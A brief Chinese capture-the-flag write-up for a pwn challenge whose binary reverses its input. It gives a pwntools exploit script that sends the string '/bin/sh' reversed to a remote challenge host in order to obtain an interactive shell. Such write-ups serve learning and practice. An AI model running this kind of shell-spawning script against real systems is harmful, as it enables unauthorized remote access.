此题运行时提示反转,进入ida一看果然有反转函数


直接将/bin/sh反转即可
exp:

from pwn import*

# io=process("./Re_or_pwn")
io=remote("1.14.71.254",28964)

payload=b"hs/nib/"
io.sendline(payload)
io.interactive()